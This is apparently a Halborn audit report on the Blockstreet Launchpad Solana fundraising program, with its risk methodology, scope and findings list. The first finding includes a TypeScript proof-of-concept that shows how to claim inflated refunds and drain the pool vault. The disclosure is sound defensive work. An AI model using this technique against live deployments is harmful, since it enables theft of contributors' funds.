// Security Assessment

08.28.2025 - 09.26.2025

Launch Pad Program

Blockstreet

HALBORN

Launch Pad Program - Blockstreet

Prepared by: HALBORN

Last Updated 11/26/2025

Date of Engagement: August 28th, 2025 - September 26th, 2025

Summary

100% OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
21	2	1	0	4	14

TABLE OF CONTENTS

1. Introduction
2. Assessment summary
3. Test approach and methodology
4. Risk methodology
5. Scope
6. Assessment summary & findings overview
7. Findings & Tech Details
   - 7.1 Platform fee inclusion in pool accounting creates inconsistent fund tracking
   - 7.2 Multiple account ownership validation vulnerabilities across pool creation, contribution, and staking systems enable fee diversion and unauthorized access
   - 7.3 Cancel contribution function is non-operational due to multiple issues preventing users from cancelling contributions
   - 7.4 Finalize_pool_with_liquidity instruction contains multiple vulnerabilities leading to permanent fund loss
   - 7.5 Multiple security vulnerabilities and validation failures in staking pool initialization functions
   - 7.6 Pool vault addresses not stored in pool state creates operational validation challenges
   - 7.7 Pool finalization instructions fail to update pool state values breaking token claims and pool analytics
   - 7.8 Usd1 staking system contains multiple design flaws and missing functionality that must be redesigned to prevent user fund lock and system inconsistencies

7.9 Pool creation instructions validate vault pdas but fail to create required vault accounts

7.10 Logical contradiction prevents pool status transition from pending to active

7.11 Staking system contains multiple design flaws that can be improved to enhance reward calculation and code consistency

7.12 Meteora liquidity instruction is non-functional and lacks multiple call protection

7.13 Missing admin approval flag assignment creates inconsistent pool state

7.14 Pool migration logic contains multiple validation gaps and design inconsistencies that compromise pool state integrity

7.15 Missing fee payment tracking prevents validation of pool creation requirements

7.16 Variable token mints on initialization allow platform-wide compromise

7.17 Missing length validation on project_uri allows for oversized data

7.18 Fee collection event emits hardcoded values, leading to inaccurate off-chain data

7.19 Decentralized account initialization logic increases risk of inconsistencies

7.20 Update pool instruction contains security and observability issues that enable fund locking and reduce transparency

7.21 Pool lifecycle management contains inconsistent hard cap completion logic leading to behavioral discrepancies

8. Automated Testing

1. Introduction

`Blockstreet` engaged Halborn to conduct a security assessment on their `Blockstreet Launchpad` program beginning on August 28, 2025 and ending on September 26, 2025. The security assessment was scoped to the smart contracts provided in the GitHub repository Blockstreet-Launchpad, commit hashes, and further details can be found in the Scope section of this report.

The `Blockstreet team` is releasing a new version their `Blockstreet Launchpad` Solana program. This program is a decentralized fundraising platform that enables crypto projects to raise capital through token sales by creating fundraising pools where investors can contribute funds in exchange for project tokens, featuring staking systems, fee collection mechanisms, and pool lifecycle management.

2. Assessment Summary

Halborn was provided 22 business days for the engagement and assigned one full-time security engineer to review the security of the Solana Programs in scope. The engineer is a blockchain and smart contract security expert with advanced smart contract hacking skills, and deep knowledge of multiple blockchain protocols.

The purpose of the assessment is to:

- Identify potential security issues within the Solana Program.
- Ensure that smart contract functionality operates as intended.

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the `Blockstreet team`. The main ones were the following:

- `Exclude platform fees from pool accounting calculations to ensure accurate fund tracking`
- `Implement proper treasury account ownership validation in all the instructions where it is not implemented`
- `Fix issues in the cancel contribution functionality to ensure users can properly cancel contributions`

3. Test Approach And Methodology

Halborn performed a combination of manual review and security testing based on scripts to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture and purpose.

- Differences analysis using GitLens to have a proper view of the differences between the mentioned commits

- Graphing out functionality and programs logic/connectivity/functions along with state changes

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (C:N) Low (C:L) Medium (C:M) High (C:H) Critical (C:C)	0 0.25 0.5 0.75 1
Integrity (I)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Availability (A)	None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C)	0 0.25 0.5 0.75 1
Deposit (D)	None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C)	0 0.25 0.5 0.75 1
Yield (Y)	None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C)	0 0.25 0.5 0.75 1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (C)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (r)	None (R:N) Partial (R:P) Full (R:F)	1 0.5 0.25
Scope (s)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4

SEVERITY	SCORE VALUE RANGE
Informational	0 - 1.9

5. SCOPE

REPOSITORY

(a) Repository: Blockstreet-Launchpad

(b) Assessed Commit ID: 1995ead

(c) Items in scope:

- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/constants.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/error.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/events.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/activate_approved_pool.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/approve_project.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/auto_update_pool_status.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/check_pool_completion.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/create_meteora_liquidity.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/create_pool_from_submission_with_fees.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/create_pool_from_submission.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/create_pool_with_fees.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/create_pool.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/emergency_auto_pause.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/finalize_pool_prorata.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/finalize_pool_with_liquidity.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/finalize_pool.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/fix_launchpad_bump.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/init_launchpad.rs

- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/init_staking_rewards_pool_standalone.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/init_staking_rewards_pool.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/init_usd1_staking_pool.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/migrate_pool.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/mod.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/pause_pool.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/process_pool_lifecycle.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/recalculate_staking_tier.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/review_project_submission.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/update_platform_fees.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/admin/update_pool.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/mod.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/oracle/mod.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/oracle/update_staking_tier.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/user/cancel_contribution.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/user/claim_staking_rewards.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/user/claim_tokens.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/user/complete_unstake.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/user/contribute_usd1.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/user/mod.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/user/request_unstake.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/user/stake_tokens.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/user/stake_usd1.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/user/submit_project.rs

- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/instructions/user/unstake_usd1.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/lib.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/math/allocation_boost.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/math/mod.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/math/prorata.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/math/usd1_tranche_pricing.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/state/contribution.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/state/launchpad.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/state/mod.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/state/pool.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/state/project_submission.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/state/staking_tier.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/state/usd1_staking_tier.rs
- Blockstreet-Launchpad/programs/blockstreet-launchpad/src/test-utils/index.ts

Out-of-Scope: Third party dependencies and economic attacks.

REMEDIATION COMMIT ID:

- 99a5830
- 0fbb6a9
- a58655f
- 094e8e3

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
2	1	0	4	14

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
PLATFORM FEE INCLUSION IN POOL ACCOUNTING CREATES INCONSISTENT FUND TRACKING	CRITICAL	SOLVED - 10/13/2025

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
MULTIPLE ACCOUNT OWNERSHIP VALIDATION VULNERABILITIES ACROSS POOL CREATION, CONTRIBUTION, AND STAKING SYSTEMS ENABLE FEE DIVERSION AND UNAUTHORIZED ACCESS	CRITICAL	SOLVED - 10/13/2025
CANCEL CONTRIBUTION FUNCTION IS NON-OPERATIONAL DUE TO MULTIPLE ISSUES PREVENTING USERS FROM CANCELLING CONTRIBUTIONS	HIGH	SOLVED - 10/13/2025
FINALIZE_POOL_WITH_LIQUIDITY INSTRUCTION CONTAINS MULTIPLE VULNERABILITIES LEADING TO PERMANENT FUND LOSS	LOW	SOLVED - 10/13/2025
MULTIPLE SECURITY VULNERABILITIES AND VALIDATION FAILURES IN STAKING POOL INITIALIZATION FUNCTIONS	LOW	SOLVED - 11/25/2025
POOL VAULT ADDRESSES NOT STORED IN POOL STATE CREATES OPERATIONAL VALIDATION CHALLENGES	LOW	SOLVED - 10/13/2025
POOL FINALIZATION INSTRUCTIONS FAIL TO UPDATE POOL STATE VALUES BREAKING TOKEN CLAIMS AND POOL ANALYTICS	LOW	SOLVED - 10/13/2025
USD1 STAKING SYSTEM CONTAINS MULTIPLE DESIGN FLAWS AND MISSING FUNCTIONALITY THAT MUST BE REDESIGNED TO PREVENT USER FUND LOCK AND SYSTEM INCONSISTENCIES	INFORMATIONAL	SOLVED - 10/13/2025
POOL CREATION INSTRUCTIONS VALIDATE VAULT PDAS BUT FAIL TO CREATE REQUIRED VAULT ACCOUNTS	INFORMATIONAL	SOLVED - 10/13/2025
LOGICAL CONTRADICTION PREVENTS POOL STATUS TRANSITION FROM PENDING TO ACTIVE	INFORMATIONAL	SOLVED - 10/12/2025

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
STAKING SYSTEM CONTAINS MULTIPLE DESIGN FLAWS THAT CAN BE IMPROVED TO ENHANCE REWARD CALCULATION AND CODE CONSISTENCY	INFORMATIONAL	SOLVED - 10/13/2025
METEORA LIQUIDITY INSTRUCTION IS NON-FUNCTIONAL AND LACKS MULTIPLE CALL PROTECTION	INFORMATIONAL	ACKNOWLEDGED - 11/04/2025
MISSING ADMIN APPROVAL FLAG ASSIGNMENT CREATES INCONSISTENT POOL STATE	INFORMATIONAL	SOLVED - 10/13/2025
POOL MIGRATION LOGIC CONTAINS MULTIPLE VALIDATION GAPS AND DESIGN INCONSISTENCIES THAT COMPROMISE POOL STATE INTEGRITY	INFORMATIONAL	SOLVED - 10/13/2025
MISSING FEE PAYMENT TRACKING PREVENTS VALIDATION OF POOL CREATION REQUIREMENTS	INFORMATIONAL	SOLVED - 11/04/2025
VARIABLE TOKEN MINTS ON INITIALIZATION ALLOW PLATFORM-WIDE COMPROMISE	INFORMATIONAL	SOLVED - 10/13/2025
MISSING LENGTH VALIDATION ON PROJECT_URI ALLOWS FOR OVERSIZED DATA	INFORMATIONAL	SOLVED - 10/13/2025
FEE COLLECTION EVENT EMITS HARDCODED VALUES, LEADING TO INACCURATE OFF-CHAIN DATA	INFORMATIONAL	SOLVED - 10/13/2025
DECENTRALIZED ACCOUNT INITIALIZATION LOGIC INCREASES RISK OF INCONSISTENCIES	INFORMATIONAL	SOLVED - 11/25/2025
UPDATE POOL INSTRUCTION CONTAINS SECURITY AND OBSERVABILITY ISSUES THAT ENABLE FUND LOCKING AND REDUCE TRANSPARENCY	INFORMATIONAL	SOLVED - 10/13/2025

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
POOL LIFECYCLE MANAGEMENT CONTAINS INCONSISTENT HARD CAP COMPLETION LOGIC LEADING TO BEHAVIORAL DISCREPANCIES	INFORMATIONAL	SOLVED - 10/13/2025

7. FINDINGS & TECH DETAILS

7.1 PLATFORM FEE INCLUSION IN POOL ACCOUNTING CREATES INCONSISTENT FUND TRACKING

// CRITICAL

Description

The Blockstreet Launchpad is a Solana-based fundraising platform that enables projects to create token pools for raising USD1 contributions from users. The system charges platform fees on contributions and uses pro-rata calculations for token allocation during pool finalization.

The `contribute_usd1` instruction contains an accounting inconsistency where platform fees are incorrectly included in both the pool's raised amount tracking and individual contribution records. When a user contributes USD1, the instruction correctly transfers only the net amount (after deducting platform fees) to the pool's vault, but erroneously records the gross contribution amount (including fees) in both the `pool.usd1_raised` field and the `contribution.usd1_amount` field, as shown in the code snippet below. This creates a permanent discrepancy between the pool's recorded raised amount and the actual funds available in its vault, as well as incorrect individual contribution tracking.

The expected behavior would be to record only the net contribution amount in both `pool.usd1_raised` and `contribution.usd1_amount`, maintaining consistency with the actual vault balance and accurate individual contribution records.

programs/blockstreet-launchpad/src/instructions/user/contribute_usd1.rs

```
84  pub fn handler(
85      ctx: Context<ContributeUsd1>,
86      amount: u64,  // Gross contribution amount from user input
87      _min_tokens_expected: Option<u64>,
88  ) -> Result<()> {
89      ...
90
91      // Calculate platform fee
92      let fee_amount = amount
93          .checked_mul(launchpad.platform_fee_bps as u64)
94          .ok_or(LaunchpadError::MathOverflow)?
95          .checked_div(BASIS_POINTS)
96          .ok_or(LaunchpadError::DivisionByZero)?;
97
98      let net_amount = amount
99          .checked_sub(fee_amount)
100         .ok_or(LaunchpadError::MathOverflow)?;
101
102     // Transfer net USD1 to vault
103     token::transfer(
104         CpiContext::new(
105             ctx.accounts.token_program.to_account_info(),
106             SplTransfer {
107                 from: ctx.accounts.contributor_usd1_account.to_account_info(),
108                 to: ctx.accounts.pool_usd1_vault.to_account_info(),
109                 authority: ctx.accounts.contributor.to_account_info(),
110             },
111
```

```
            ),
            net_amount,  // Only net amount transferred to vault
        )?;

        ...

        // Update pool state - simple tracking in pro-rata system
        pool.usd1_raised = pool
            .usd1_raised
            .checked_add(amount)  // Records gross amount including fees
            .ok_or(LaunchpadError::MathOverflow)?;

        ...

        // Update contribution account - also incorrectly uses gross amount
        contribution.usd1_amount = contribution
            .usd1_amount
            .checked_add(amount)  // Records gross amount including fees
            .ok_or(LaunchpadError::MathOverflow)?;
```

This accounting inconsistency primarily affects individual contribution tracking, where `contribution.usd1_amount` stores the gross contribution amount instead of the net amount actually available for token allocation. This incorrect tracking creates immediate operational issues in contribution records that directly impact:

- Incorrect individual refund calculations when contributions are cancelled, as the system uses inflated gross amounts
- Inaccurate contribution history and reporting for users, showing higher contributions than what actually benefited the pool
- Token claim process failures that rely on recorded contribution amounts, as the stored amounts don't match the actual funds contributed to the pool
- Audit trail inconsistencies where individual contribution records don't align with the actual funds transferred to pool vaults

Additionally, the bug leads to inflated pool fundraising metrics through incorrect `pool.usd1_raised` tracking. The discrepancy between recorded raised amounts and actual vault balances results in contributors receiving fewer tokens than they should during pool finalization, as the pro-rata allocation calculations use the inflated `pool.usd1_raised` value that includes fees never transferred to the pool.

Projects also receive incorrect refund calculations when pools are oversubscribed, as the system believes more funds were raised than actually exist in the vault. The inconsistency creates systematic audit trail problems and makes it impossible to reconcile on-chain accounting records with actual token transfers.

Proof of Concept

POC Code

```
it.only('ts_id: 2 -  user receives inflated USD1 refund due to gross contribution amounts being used in
    console.log(
        '🚨 EXPLOIT: Demonstrating Finding7 - Inflated Refund Vulnerability'
    );
    console.log(
        '🔍 This exploit proves that users receive inflated refunds due to platform fee inclusion in poo
```

```
);

// --- Pre-call Assertions ---
console.log('\n🔧 Pre-call setup for exploit...');

// Create new project authority and fund it
console.log('👤 Creating exploit project authority...');
const exploitProjectAuthority = Keypair.generate();
const fundTx = await provider.connection.requestAirdrop(
    exploitProjectAuthority.publicKey,
    2 * LAMPORTS_PER_SOL
);
await provider.connection.confirmTransaction(fundTx, 'confirmed');

// Create new project token mint
console.log('🪙 Creating exploit project token mint...');
const exploitProjectTokenMint = await createMint(
    provider.connection,
    exploitProjectAuthority,
    exploitProjectAuthority.publicKey,
    null,
    9 // 9 decimals
);

// Calculate timing for pool
const currentTime = Math.floor(Date.now() / 1000);
const startTime = new BN(currentTime + 5); // Start in 5 seconds
const endTime = new BN(currentTime + 15); // End in 15 seconds

// Create pool for exploit with smaller target to ensure oversubscription
console.log('🏊 Creating exploit pool with oversubscription setup...');
const exploitPoolResult = await createPool(program, launchpadAccounts, {
    projectAuthority: exploitProjectAuthority,
    projectTokenMint: exploitProjectTokenMint,
    tokensOffered: new BN(1000000000000000), // 1M tokens (9 decimals)
    startTime: startTime,
    endTime: endTime,
    softCapUsd1: new BN(10000000000), // 10k USD1 soft cap (6 decimals)
    hardCapUsd1: new BN(20000000000), // 20k USD1 target raise (6 decimals) - SMALLER for oversubscr
    tokenPrice: new BN(50000) // Required by helper
});

// Approve pool
console.log('✅ Approving exploit pool...');
await approveProject(program, launchpadAccounts, exploitPoolResult.poolPda);

// Wait for pool to start
if (exploitPoolResult.waitTimeMs > 0) {
    console.log(
        `⏳ Waiting for pool to start (${Math.round(exploitPoolResult.waitTimeMs / 1000)} seconds)...
    );
    await new Promise(resolve =>
        setTimeout(resolve, exploitPoolResult.waitTimeMs)
    );
}

// Create exploit contributors
console.log('👥 Creating exploit contributors...');
const exploitUser1 = Keypair.generate();
const exploitUser2 = Keypair.generate();

// Create USD1 accounts for contributors
console.log('🏦 Creating contributor USD1 accounts...');
const exploitUser1Usd1Account = await createAssociatedTokenAccount(
    provider.connection,
    launchpadAccounts.authority,
    launchpadAccounts.usd1Mint,
    exploitUser1.publicKey
);

const exploitUser2Usd1Account = await createAssociatedTokenAccount(
    provider.connection,
    launchpadAccounts.authority,
```

```
    launchpadAccounts.usd1Mint,
    exploitUser2.publicKey
);

// Create project token accounts
console.log('🏦 Creating contributor project token accounts...');
const exploitUser1ProjectTokenAccount = await createAssociatedTokenAccount(
    provider.connection,
    launchpadAccounts.authority,
    exploitProjectTokenMint,
    exploitUser1.publicKey
);

const exploitUser2ProjectTokenAccount = await createAssociatedTokenAccount(
    provider.connection,
    launchpadAccounts.authority,
    exploitProjectTokenMint,
    exploitUser2.publicKey
);

// Make oversubscribed contributions (total: 25k USD1, target: 20k USD1)
console.log('💰 Making oversubscribed contributions...');
console.log(
    '   User1: 15k USD1, User2: 10k USD1 (Total: 25k > Target: 20k)'
);

await contributeUsd1(
    program,
    launchpadAccounts,
    {
        poolPda: exploitPoolResult.poolPda,
        poolUsd1Vault: exploitPoolResult.poolUsd1Vault
    },
    exploitUser1,
    exploitUser1Usd1Account,
    new BN(15000000000) // 15k USD1 - User 1
);

await contributeUsd1(
    program,
    launchpadAccounts,
    {
        poolPda: exploitPoolResult.poolPda,
        poolUsd1Vault: exploitPoolResult.poolUsd1Vault
    },
    exploitUser2,
    exploitUser2Usd1Account,
    new BN(10000000000) // 10k USD1 - User 2
);

// Wait for pool to end
const waitTimeUntilEnd = Math.max(
    0,
    (endTime.toNumber() - Math.floor(Date.now() / 1000) + 2) * 1000
);
if (waitTimeUntilEnd > 0) {
    console.log(
        `⏳ Waiting for pool to end (${Math.round(waitTimeUntilEnd / 1000)} seconds)...
    );
    await new Promise(resolve => setTimeout(resolve, waitTimeUntilEnd));
}

// Finalize pool with pro-rata
console.log('🏁 Finalizing pool with pro-rata...');
await finalizePoolProrata(
    program,
    launchpadAccounts,
    exploitPoolResult.poolPda
);

// Get pool data for calculations
const poolData = await program.account.pool.fetch(
    exploitPoolResult.poolPda
```

```
);

// Get contribution data
const [user1ContributionPda] = PublicKey.findProgramAddressSync(
    [
        Buffer.from('contribution'),
        exploitPoolResult.poolPda.toBuffer(),
        exploitUser1.publicKey.toBuffer()
    ],
    program.programId
);

const [user2ContributionPda] = PublicKey.findProgramAddressSync(
    [
        Buffer.from('contribution'),
        exploitPoolResult.poolPda.toBuffer(),
        exploitUser2.publicKey.toBuffer()
    ],
    program.programId
);

const user1Contribution =
    await program.account.contribution.fetch(user1ContributionPda);
const user2Contribution =
    await program.account.contribution.fetch(user2ContributionPda);

// Calculate platform fees (5% as per TEST_PLATFORM_FEE_BPS = 500)
const platformFeeBps = 500; // 5%
const basisPoints = 10000;

console.log('\n🔍 VULNERABILITY ANALYSIS:');
console.log('========================================');

// Show inflated vs correct values
const user1InflatedContribution = user1Contribution.usd1Amount;
const user2InflatedContribution = user2Contribution.usd1Amount;

const user1Fee = user1InflatedContribution
    .mul(new BN(platformFeeBps))
    .div(new BN(basisPoints));
const user2Fee = user2InflatedContribution
    .mul(new BN(platformFeeBps))
    .div(new BN(basisPoints));

const user1NetContribution = user1InflatedContribution.sub(user1Fee);
const user2NetContribution = user2InflatedContribution.sub(user2Fee);

console.log(
    User1 - Inflated: ${user1InflatedContribution.toString()}, Net: ${user1NetContribution.toString(
);
console.log(
    User2 - Inflated: ${user2InflatedContribution.toString()}, Net: ${user2NetContribution.toString(
);

const totalInflated = user1InflatedContribution.add(
    user2InflatedContribution
);
const totalNet = user1NetContribution.add(user2NetContribution);
const totalFees = user1Fee.add(user2Fee);

console.log(
    Total - Inflated: ${totalInflated.toString()}, Net: ${totalNet.toString()}, Fees: ${totalFees.to
);

// Get initial vault balance
const vaultBefore = await getAccount(
    provider.connection,
    exploitPoolResult.poolUsd1Vault
);
console.log(
    \n💰 Vault balance before claims: ${vaultBefore.amount.toString()}
);
console.log(
```

```
        (Should only contain net contributions: ${totalNet.toString()})
);

// Calculate CORRECT refund amounts (what they should receive)
const targetRaise = poolData.targetRaise;
const correctUser1Refund = user1NetContribution.sub(
    user1NetContribution.mul(targetRaise).div(totalNet)
);
const correctUser2Refund = user2NetContribution.sub(
    user2NetContribution.mul(targetRaise).div(totalNet)
);

// Calculate INFLATED refund amounts (what they will actually receive due to bug)
const inflatedUser1Refund = user1InflatedContribution.sub(
    user1InflatedContribution.mul(targetRaise).div(totalInflated)
);
const inflatedUser2Refund = user2InflatedContribution.sub(
    user2InflatedContribution.mul(targetRaise).div(totalInflated)
);

console.log('\n📊 REFUND CALCULATIONS:');
console.log('========================================');
console.log(User1 - Correct refund: ${correctUser1Refund.toString()});
console.log(User1 - Inflated refund: ${inflatedUser1Refund.toString()});
console.log(
    User1 - Over-refund: ${inflatedUser1Refund.sub(correctUser1Refund).toString()}
);
console.log('');
console.log(User2 - Correct refund: ${correctUser2Refund.toString()});
console.log(User2 - Inflated refund: ${inflatedUser2Refund.toString()});
console.log(
    User2 - Over-refund: ${inflatedUser2Refund.sub(correctUser2Refund).toString()}
);

const totalCorrectRefunds = correctUser1Refund.add(correctUser2Refund);
const totalInflatedRefunds = inflatedUser1Refund.add(inflatedUser2Refund);

console.log('');
console.log(Total correct refunds: ${totalCorrectRefunds.toString()});
console.log(Total inflated refunds: ${totalInflatedRefunds.toString()});
console.log(
    Total over-refund: ${totalInflatedRefunds.sub(totalCorrectRefunds).toString()}
);

// Show vault drain prediction
console.log('\n⚠️  VAULT DRAIN PREDICTION:');
console.log('========================================');
console.log(Vault contains: ${vaultBefore.amount.toString()});
console.log(Will need to pay: ${totalInflatedRefunds.toString()});
console.log(
    Shortage: ${totalInflatedRefunds.sub(new BN(vaultBefore.amount.toString())).toString()}
);

// --- Instruction Call Part 1: User 1 claims and receives inflated refund ---
console.log(
    '\n🎯 EXPLOIT PART 1: User1 claims and receives inflated refund'
);
console.log('========================================');

const user1BalanceBefore = await getAccount(
    provider.connection,
    exploitUser1Usd1Account
);

await program.methods
    .claimTokens()
    .accountsStrict({
        pool: exploitPoolResult.poolPda,
        contribution: user1ContributionPda,
        tokenVault: exploitPoolResult.tokenVault,
        userTokenAccount: exploitUser1ProjectTokenAccount,
        tokenMint: exploitProjectTokenMint,
        poolUsd1Vault: exploitPoolResult.poolUsd1Vault,
```

```
            usd1Mint: launchpadAccounts.usd1Mint,
            userUsd1Account: exploitUser1Usd1Account,
            contributor: exploitUser1.publicKey,
            tokenProgram: TOKEN_PROGRAM_ID,
            associatedTokenProgram: ASSOCIATED_TOKEN_PROGRAM_ID,
            systemProgram: SystemProgram.programId
        })
        .signers([exploitUser1])
        .rpc();

    // --- Post-call Assertions Part 1: Verify User1 got inflated refund ---
    const user1BalanceAfter = await getAccount(
        provider.connection,
        exploitUser1Usd1Account
    );
    const actualUser1Refund = new BN(user1BalanceAfter.amount.toString()).sub(
        new BN(user1BalanceBefore.amount.toString())
    );

    console.log(✅ User1 successfully claimed!);
    console.log(   Expected correct refund: ${correctUser1Refund.toString()});
    console.log(   Actual refund received: ${actualUser1Refund.toString()});
    console.log(
          Over-refund amount: ${actualUser1Refund.sub(correctUser1Refund).toString()}
    );
});
```

Evidence

```
🔍 VULNERABILITY ANALYSIS:
==========================================
User1 - Inflated: 15000000000, Net: 14250000000, Fee: 750000000
